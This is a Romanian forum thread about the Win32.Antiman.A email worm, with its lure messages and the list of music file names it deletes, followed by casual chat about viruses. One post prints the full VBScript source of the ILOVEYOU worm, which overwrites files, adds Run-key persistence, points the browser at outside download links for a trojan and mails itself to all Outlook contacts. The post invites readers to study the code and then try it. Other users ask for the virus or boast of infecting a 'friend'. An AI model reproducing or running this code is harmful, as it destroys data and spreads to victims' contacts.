Jump to content

Recommended Posts

Posted
Divizia de Securitate a Datelor din cadrul companiei românesti SOFTWIN, BitDefender, anunta raspândirea rapida a virusului Win32.Antiman.A, detectat la 25.04. si al carui creator este cu

siguranta român

 

În numai 5 ore, virusul a reusit sa infecteze peste 300 de calculatoare în România datorita ingeniozitatii mesajelor e-mail sub care se propaga si lipsei protectiei antivirus a utilizatorilor. Iata câteva din variantele mesajelor sub care se propaga acest virus:

 

De la: [falsificat]

Subiect: Poza de la mare...

Corp: Ti-am trimis ultima poza de la mare. Asta e?

Atasament: scan_picture_0001._JPG.exe

 

De la: [falsificat]

Subiect: Antivirus

Corp: Asta e ultimul antivirus. Ar trebui sa rezolve toate problemele.

Atasament: antivirus.exe

 

De la: [falsificat]

Subiect: Sex in camin

Corp: Ioana, sex in grup in camin. Cred ca o stii si tu

Atasament: ioana_divx._AVI.exe

 

De la: [falsificat]

Subiect: Faza cu camila

Atasament: camila.exe

 

De la: [falsificat]

Subiect: De ce mor mai repede curiosii...

Corp: Nu deschide acest mesaj! E numai pentru persoanele prea

curioase!

Atasament: curiosii.exe

 

De la: [falsificat]

Subiect: Antimanele

Corp: Daca sunteti nu mai suportati manelele la servici, tramvai, taxi,

metrou, etc., trimiteti acest mesaj la toti prietenii dvs. ! Va multumesc

(din suflet).

Atasament: antimanele.exe

 

De la: [falsificat]

Subiect: Votati astazi!

Corp: Credeti ca ar fi mai bine ca Romania sa-si retraga trupele din

Irak anul acesta? Deschideti programul Vot, alegeti votul dvs. si

vedeti rezultatele. Parerea dvs. conteaza!

Atasament: [current date].exe

 

De la: [falsificat]

Subiect: Cu sau fara Manele ?

Corp: Credeti ca ar fi mai bine ca manelele sa fie interzise in

Romania? Deschideti programul de votare, alegeti votul dvs. si vedeti

rezultatele. Parerea dvs. conteaza!

Atasament: vot_manele.exe

 

De la: [falsificat]

Subiect: Pentru Ionel

Corp: Draga Ionel, Scuza-ma ca nu ti-am mai scris de mult timp, dar

am avut ceva probleme cu calculatorul. Ti-am promis ultima data pe

chat o poza cu mine dezbracata... m-am gandit mult la asta si cred

ca pana la urma cel mai bine e sa-ti trimit o poza. Sper sa-ti placa.

Daca nu o sa-mi mai scrii dupa mesajul asta, o sa te inteleg...

Roxana,

Atasament: poza_roxana._JPG.exe

 

De la: [falsificat]

Subiect: Cum a murit Papa?

Corp: Film cu moartea papei. Toate drepturile rezervate. Este interzisa modificarea continutului. Poate fi redistribuit. Asociatia Catolicilor Anonimi din Romania.

Atasament: film_papa._avi._divx_.exe

Pe lânga faptul ca trateaza subiecte de mare actualitate, cum ar fi rapirea ziaristilor români din Irak si moartea Papei, autorul virusului demonstreaza o aversiune fata de un anumit gen de muzica (manele). Acest lucru se explica prin una din actiunile virusului, aceea de a sterge de pe calculatorul virusat toate fisierele multimedia care contin nume ale unor cunoscuti interpreti de manele sau titlurile acestora.

 

Lista completa a sirurilor de caractere cautate pentru a fi sterse fisierele este urmatoarea: Liviu Guta, Liviu_Guta, Nicolae Guta, Nicolae_Guta, Copilul de aur, Copilul_de_aur, adi de la valcea, adi_de_la_valcea, adi de vito, ady de vito, florin salam, florin_salam, adrian & camy, stana isbasa, adrian cm, adrian copilul minune, adrian_copilul_minune, alina si costi, copilul de aur, dani de la deva, gabi din buzau, gabi de la giulesti, liviu pustiu, guta jr, guta & sorina, printesa ionela, don genove, jean de la craiova, cristian gusatu, ovidiu mititelu, sorinel pustiu, lucian seres, mihaela minune, minodora, n. guta, n.guta, nico cu carbon, nico_cu_carbon, sile dorel, vali vijelie, carmen serban, petrica cercel, nicu paleru, cata boss, liviu_guta, stefan de la barbulesti, florin peste, liviu cu mirela, sorina & florinel, puiu codreanu, catalin de la buzau, daniel dinescu, relu pustiu, victor spaniolu, vali raicu, adi caval, carmen dobre, sorinel copilu de aur, as da zile de la mine, sunt seful vostru pana mor, chefdechef, chef de chef, dusmanii mei, plange sufletul, jumatate tu, jumatate eu, ce le-nnebuneste pe femei, sa cante manelele.

 

Odata infectat un calculator, viermele se trimite prin mesaje e-mail tuturor adreselor din programul Outlook al victimei si scaneaza fisierele Yahoo Messenger pentru a gasi noi adrese. Utilizatorii BitDefender sunt protejati înca de la aparitia virusului, iar specialistii recomanda prudenta în deschiderea atasamentelor e-mail pentru utilizatorii fara o protectie antivirus. O descriere completa a virusului, precum si un utilitar de dezinfectie gratuit pentru cei deja infectati se pot gasi la adresa: Utilitar Dezianfectie

 

 

Deobicei mesajele se primesc in bulk, si odata infetat un calc, toate adresele de pe andressbook-ul respectiv primesc cate un measaj de genul asta. Eu am patit-o, dar slava domnului nu l-am deschis! :)

 

 

Iar chestia cu manele e crima si pedeapsa!!! Macar stim ca tipul care a creat virusul asculta muzica buna! :lmao: :lmao: :mdr: :laughing:

Posted

merci de info

si mie mi s-a virusat calcu acum o saptamana nashpa rau dar nu cu virusul asta

dar am rezolvat problema

http://i5.photobucket.com/albums/y166/raluchi/ANDfinalshow-1.jpg
Posted (edited)

asta e un singur virus folositor, nu credeti? eu vreau sa-l primesc....si nu-l voi accesa pe calcul meu... :clap: :clap: am alti clientzi

nu de alta da la mine chiar nu are ce sa stearga :P

 

il are cineva pe mail? :P

Edited by DjCeline

http://i16.photobucket.com/albums/b21/DjCeline/thereasonigoonsiggycopy.jpg

 

http://therasmusforum.com/images/streetteam/promo/blackroses08.jpg http://therasmusforum.com/images/streetteam/promo/banner_streetteam1.jpg

Posted
asta e un singur virus folositor, nu credeti? eu vreau sa-l primesc....si nu-l voi accesa pe calcul meu... :clap:  :clap: am alti clientzi

nu de alta da la mine chiar nu are ce sa stearga :P

 

il are cineva pe mail? :P

 

 

Draga mea, stersul manelelor nu e singurul efect!

 

Am un prieten care il are si nu poate sa scape de el. Incet, incet i s-au sters toate documentele. Si toate programele ii fac ca naiba. :wacko:

 

Dar efectele difera de la un calc la altul....

Posted

pai normal ca sunt afectate si programele...dar Bit Difenderul am intzeles k e capabil sa scoata acest virus... :P

oricum ar fi amuzant sa se infecteze un manelist cu acest virus, nu? sa vada cum ii dispar prea iubitele manele....si cum i se elibereaza 40 de Gb de pe hard..sau chiar mai mult

:mdr: :lmao:

 

sunt rea acum... :P

http://i16.photobucket.com/albums/b21/DjCeline/thereasonigoonsiggycopy.jpg

 

http://therasmusforum.com/images/streetteam/promo/blackroses08.jpg http://therasmusforum.com/images/streetteam/promo/banner_streetteam1.jpg

  • 1 year later...
Posted
I-am dat eu unui "prieten" manelist si i-a sters vreo 16 manele din 3000 si ceva :D Dar se scapa foarte usor de el. Eu cred ca un rocker a facut virusul asta :whistling:

Daca intr-o zi viata iti intoarce spatele ... prinde-o de fund !!!

 

No smoking!!!

 

Be the best...F**k the rest!

 

Traiesti 26280 zile...Intr-o zi mori!

Posted

Hmm... foarte interesant indeed. Uite, nu am mai avut virus de mult, poate il iau p'asta :P macar ca sa-l dau mai departe. Anyways eu am o strategie super anti-virus: cum merge ceva suspect la calculator, decuplez hardul pe care am datele cu Celine :P

C:\-ul mi-a fost formatat de (prea) multe ori de virusi, dar folderele cu Celine sunt intacte ;)

Celine Challenge :: Over 10.000 beautiful pictures of our diva!

 

http://celinedion.evonet.ro/coppermine/

Posted
Normal ca directoarele cu Celine le ai intacte deoarece nu se pot virusa :lmao: Acolo ai mp3-uri, videoclipuri, poze (astea nu se pot virusa :P ) Doar fisierele *.exe (executabile) sau *.com si mai sunt unele dar nu mp3-uri, videoclipuri sau poze :thumbsup2:

Daca intr-o zi viata iti intoarce spatele ... prinde-o de fund !!!

 

No smoking!!!

 

Be the best...F**k the rest!

 

Traiesti 26280 zile...Intr-o zi mori!

Posted

Ai sa razi dar exista virusi care corup in special astfel de fisiere. Zapacesc in intregime fisierele multimedia. Si nu prea mai ai cum sa le recuperezi. Nu se folosesc de fisierele astea ca sa se raspandeasca dar asta ataca si strica.

Slava domnului ca nu am avut parte de asa ceva

http://i5.photobucket.com/albums/y166/raluchi/ANDfinalshow-1.jpg
Posted

Spune-mi unul care exista ... Daca gasesti esti tare :whistling:

 

P.S: Eu din cate ma cunosc stiu toti virusii care exista ... Acum vreo 3-4 ani aveam 3000 de virusi pe 2 dischete :clap:

Daca intr-o zi viata iti intoarce spatele ... prinde-o de fund !!!

 

No smoking!!!

 

Be the best...F**k the rest!

 

Traiesti 26280 zile...Intr-o zi mori!

Posted

take a look

http://www.fortinet.com/VirusEncyclopedia/...irectly&fid=816

Threat Analysis

 

Specifics

Virus is 32 bit with a packed file size of 29,696 bytes and is a minor variant to W32/Mydoom.A - the major difference are

 

* the file names created are random

 

* the DoS payload routine, the virus performs a DoS against the website 'www.symantec.com'

 

* the virus will attempt to delete files with these extensions -

avi, jpg, mp3, mp4, wav, wma and xls

 

si sunt sigura ca nu e singurul

http://i5.photobucket.com/albums/y166/raluchi/ANDfinalshow-1.jpg
Posted
Pai normal...Asa e si Antiman...E facut sa stearga ...Simplu de facut asta, dar tu ai spus ca le corupe. A corupe inseamna sa nu mai poti sa le folosesti chiar daca le ai in calculator. Si a sterge stii si tu ce inseamna :P

Daca intr-o zi viata iti intoarce spatele ... prinde-o de fund !!!

 

No smoking!!!

 

Be the best...F**k the rest!

 

Traiesti 26280 zile...Intr-o zi mori!

Posted
Normal ca directoarele cu Celine le ai intacte deoarece nu se pot virusa  :lmao: Acolo ai mp3-uri, videoclipuri, poze (astea nu se pot virusa  :P ) Doar fisierele *.exe (executabile) sau *.com si mai sunt unele dar nu mp3-uri, videoclipuri sau poze :thumbsup2:

si tu aici ce ai vrut sa zici? Sunt intacte dk sunt sterse?

Cam greu de crezut.

Totusi nu vad de ce ar fi imposibili sa corupi un fisier video. Este indeajuns sa stergi o parte din informatia aferenta (sa zicem cea legata de extensie) si nu mai reusesti sa il folosesti.

Posted

Q: What is the “I LOVE YOU” or “Love Bug” virus? What does it do?

 

A: Discovered May 4, 2000 in Hong Kong, this “worm” virus first hit Asia and Europe, attacking the Dow Jones and Wall Street Journal offices in Asia before bringing down at least three U.K. corporate e-mail servers.

 

The virus overwrites audio files, such as MP3 and Visual Basic files, and deletes image files, such as JPEG and Web-related scripts like Javascript. It then creates new files using old names and adds .vbs extensions. Infected e-mails carry the subject line: "ILOVEYOU" and ask the recipient to "kindly check the attached LOVELETTER coming from me." The attached file is named "LOVE-LETTER-FOR-YOU.TXT.vbs."

:msn-tongue:

http://i5.photobucket.com/albums/y166/raluchi/ANDfinalshow-1.jpg
Posted

Daca vreti sursa virusului sa vedeti cum e facut asta e :P

 

Celebrul virus I Love You

 

This is the source code (in VBS) of the virus "I love you" that hit the world on May 4, 2000, infecting quickly millions of computers through a security hole in MicroSoft Outlook, and gaining the world's media attention.

 

Acest fisier este virusul I_LOVE_YOU. Pentru ca el sa functioneze trebuie sa fie salvat ca fisier cu extensia VBS.Atentie nu incercati asta pe voi s-ar putea sa aveti surprize. Mai intai va recomand sa-l studiati cu atentie si apoi sa il incercati.

 

Acest material este oferit in scopuri educative. Nu trebuie folosit importriva nimanui.

 

 

 

rem barok -loveletter(vbe) <i hate go to school>
rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group /
Manila,Philippines
On Error Resume Next
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting
Host\Settings\Timeout")
if (rr>=1) then
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting
Host\Settings\Timeout",0,"REG_DWORD"
end if
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
regruns()
html()
spreadtoemail()
listadriv()
end sub
sub regruns()
On Error Resume Next
Dim num,downread
regcreate
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32
",dirsystem&"\MSKernel32.vbs"
regcreate
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Wi
n32DLL",dirwin&"\Win32DLL.vbs"
downread=""
downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet
Explorer\Download Directory")
if (downread="") then
downread="c:\"
end if
if (fileexist(dirsystem&"\WinFAT32.exe")=1) then
Randomize
num = Int((4 * Rnd) + 1)
if num = 1 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnj
w6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
elseif num = 2 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe
546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
elseif num = 3 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnm
POhfgER67b3Vbvg/WIN-BUGSFIX.exe"
elseif num = 4 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkh
YUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX
.exe"
end if
end if
if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then
regcreate
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFI
X",downread&"\WIN-BUGSFIX.exe"
regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start
Page","about:blank"
end if
end sub
sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then
folderlist(d.path&"\")
end if
Next
listadriv = s
end sub
sub infectfiles(folderspec)
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f = fso.GetFolder(folderspec)
set fc = f.Files
for each f1 in fc
ext=fso.GetExtensionName(f1.path)
ext=lcase(ext)
s=lcase(f1.name)
if (ext="vbs") or (ext="vbe") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct")
or (ext="hta") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
bname=fso.GetBaseName(f1.path)
set cop=fso.GetFile(f1.path)
cop.copy(folderspec&"\"&bname&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="jpg") or (ext="jpeg") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
set cop=fso.GetFile(f1.path)
cop.copy(f1.path&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="mp3") or (ext="mp2") then
set mp3=fso.CreateTextFile(f1.path&".vbs")
mp3.write vbscopy
mp3.close
set att=fso.GetFile(f1.path)
att.attributes=att.attributes+2
end if
if (eq<>folderspec) then
if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or
(s="script.ini") or (s="mirc.hlp") then
set scriptini=fso.CreateTextFile(folderspec&"\script.ini")
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt,
if mIRC will"
scriptini.WriteLine " corrupt... WINDOWS will affect and will not run
correctly. thanks"
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com"
scriptini.WriteLine ";"
scriptini.WriteLine "n0=on 1:JOIN:#:{"
scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }"
scriptini.WriteLine "n2= /.dcc send $nick
"&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
scriptini.WriteLine "n3=}"
scriptini.close
eq=folderspec
end if
end if
next
end sub
sub folderlist(folderspec)
On Error Resume Next
dim f,f1,sf
set f = fso.GetFolder(folderspec)
set sf = f.SubFolders
for each f1 in sf
infectfiles(f1.path)
folderlist(f1.path)
next
end sub
sub regcreate(regkey,regvalue)
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite regkey,regvalue
end sub
function regget(value)
Set regedit = CreateObject("WScript.Shell")
regget=regedit.RegRead(value)
end function
function fileexist(filespec)
On Error Resume Next
dim msg
if (fso.FileExists(filespec)) Then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
function folderexist(folderspec)
On Error Resume Next
dim msg
if (fso.GetFolderExists(folderspec)) then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
sub spreadtoemail()
On Error Resume Next
dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
set regedit=CreateObject("WScript.Shell")
set out=WScript.CreateObject("Outlook.Application")
set mapi=out.GetNameSpace("MAPI")
for ctrlists=1 to mapi.AddressLists.Count
set a=mapi.AddressLists(ctrlists)
x=1
regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a)
if (regv="") then
regv=1
end if
if (int(a.AddressEntries.Count)>int(regv)) then
for ctrentries=1 to a.AddressEntries.Count
malead=a.AddressEntries(x)
regad=""
regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead)
if (regad="") then
set male=out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = "ILOVEYOU"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
male.Send
regedit.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD"
end if
x=x+1
next
regedit.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
else
regedit.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
end if
next
Set out=Nothing
Set mapi=Nothing
end sub
sub html
On Error Resume Next
dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META
NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& _
"<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-?
@GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _
"<META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is
good...@-@>"&vbcrlf& _
"<?-?HEAD><BODY
onmouseout=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#
-#,#-#main#-#)@-@ "&vbcrlf& _
"onkeydown=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#
-#,#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _
"<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to read
this HTML file<BR>- Please press #-#YES#-# button to Enable
ActiveX<?-?p>"&vbcrlf& _
"<?-?CENTER><MARQUEE LOOP=@-@infinite@-@
BGCOLOR=@-@yellow@-@>----------z--------------------z----------<?-?MARQUEE>
"&vbcrlf& _
"<?-?BODY><?-?HTML>"&vbcrlf& _
"<script language=@-@JScript@-@>"&vbcrlf& _
"<!--?-??-?"&vbcrlf& _
"if (window.screen){var wi=screen.availWidth;var
hi=screen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}"&vbcrlf& _
"?-??-?-->"&vbcrlf& _
"<?-?SCRIPT>"&vbcrlf& _
"<script LANGUAGE=@-@VBScript@-@>"&vbcrlf& _
"<!--"&vbcrlf& _
"on error resume next"&vbcrlf& _
"dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf& _
"aw=1"&vbcrlf& _
"code="
dta2="set fso=CreateObject(@-@Scripting.FileSystemObject@-@)"&vbcrlf& _
"set dirsystem=fso.GetSpecialFolder(1)"&vbcrlf& _
"code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf& _
"code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& _
"code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _
"set wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf& _
"wri.write code4"&vbcrlf& _
"wri.close"&vbcrlf& _
"if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf& _
"if (err.number=424) then"&vbcrlf& _
"aw=0"&vbcrlf& _
"end if"&vbcrlf& _
"if (aw=1) then"&vbcrlf& _
"document.write @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _
"window.close"&vbcrlf& _
"end if"&vbcrlf& _
"end if"&vbcrlf& _
"Set regedit = CreateObject(@-@WScript.Shell@-@)"&vbcrlf& _
"regedit.RegWrite
@-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^-^Ru
n^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.vbs@-@"&vbcrlf& _
"?-??-?-->"&vbcrlf& _
"<?-?SCRIPT>"
dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'")
dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""")
dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/")
dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\")
dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'")
dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""")
dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/")
dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\")
set fso=CreateObject("Scripting.FileSystemObject")
set c=fso.OpenTextFile(WScript.ScriptFullName,1)
lines=Split(c.ReadAll,vbcrlf)
l1=ubound(lines)
for n=0 to ubound(lines)
lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr(91))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
lines(n)=replace(lines(n),"\",chr(37)+chr(45)+chr(37))
if (l1=n) then
lines(n)=chr(34)+lines(n)+chr(34)
else
lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _"
end if
next
set b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM")
b.close
set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2)
d.write dt5
d.write join(lines,vbcrlf)
d.write vbcrlf
d.write dt6
d.close
end sub

Daca intr-o zi viata iti intoarce spatele ... prinde-o de fund !!!

 

No smoking!!!

 

Be the best...F**k the rest!

 

Traiesti 26280 zile...Intr-o zi mori!

Posted

Adrian tu esti la info??? Sau doar ai asa o pasiune pt virusi

Eu desi am terminat automatica niciodata nu m-au preocupat virusii. Urasc chestiile care incetinesc procesul de a merge inainte, si creaza numai probleme.

 

PS Vai ce maniere am :blushing: in sfarsit iti zic si eu Bine ai venit ! printre noi :msn-wink:

http://i5.photobucket.com/albums/y166/raluchi/ANDfinalshow-1.jpg
Posted (edited)

Am fost in clasa de info la liceu, am facut fac de mate-info si DA, am o pasiune pentru virusi :D Sunt draguti ei asa in felul lor :whistling: Eu in vreo 5 ani am instalat Windows-ul doar de 3 ori si ma duceam la altii si le faceam calculatorul aproape in fiecare saptamana :whistling:

 

P.S: Bine te-am gasit, raluchi !

Edited by Vodafone

Daca intr-o zi viata iti intoarce spatele ... prinde-o de fund !!!

 

No smoking!!!

 

Be the best...F**k the rest!

 

Traiesti 26280 zile...Intr-o zi mori!

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Restore formatting

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...